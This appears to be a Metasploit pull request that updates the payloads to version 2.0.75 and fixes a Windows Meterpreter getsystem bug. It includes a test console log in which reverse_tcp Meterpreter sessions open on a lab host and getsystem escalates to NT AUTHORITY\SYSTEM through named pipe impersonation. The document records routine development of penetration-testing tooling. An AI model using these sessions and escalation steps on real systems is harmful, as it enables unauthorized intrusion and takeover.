Update metasploit payloads to 2.0.75

[bwatters-r7]

This PR updates payloads version to 2.0.75, taking in the changes landed in rapid7/metasploit-payloads#542
See payloads PR for testing instructions.

[bwatters-r7]

msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200262 bytes) to 10.5.132.153
[*] Meterpreter session 1 opened (10.5.135.101:4578 -> 10.5.132.153:49676 ) at 2022-02-24 10:47:44 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN10X64-1511
OS              : Windows 10 (10.0 Build 10586).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN10X64-1511\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
meterpreter > sysinfo
Computer        : WIN10X64-1511
OS              : Windows 10 (10.0 Build 10586).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.5.132.153 - Meterpreter session 1 closed.  Reason: User exit
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 10.5.132.153
[*] Meterpreter session 2 opened (10.5.135.101:4578 -> 10.5.132.153:49686 ) at 2022-02-24 10:49:48 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN10X64-1511
OS              : Windows 10 (10.0 Build 10586).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

For my future edification:

[bwatters-r7]

Release Notes

This PR updates payloads version to 2.0.75, taking in the changes landed in rapid7/metasploit-payloads#542 and fixes a bug in Windows Meterpreter getsystem command where a failed attempt to elevate can result in a partially-broken session.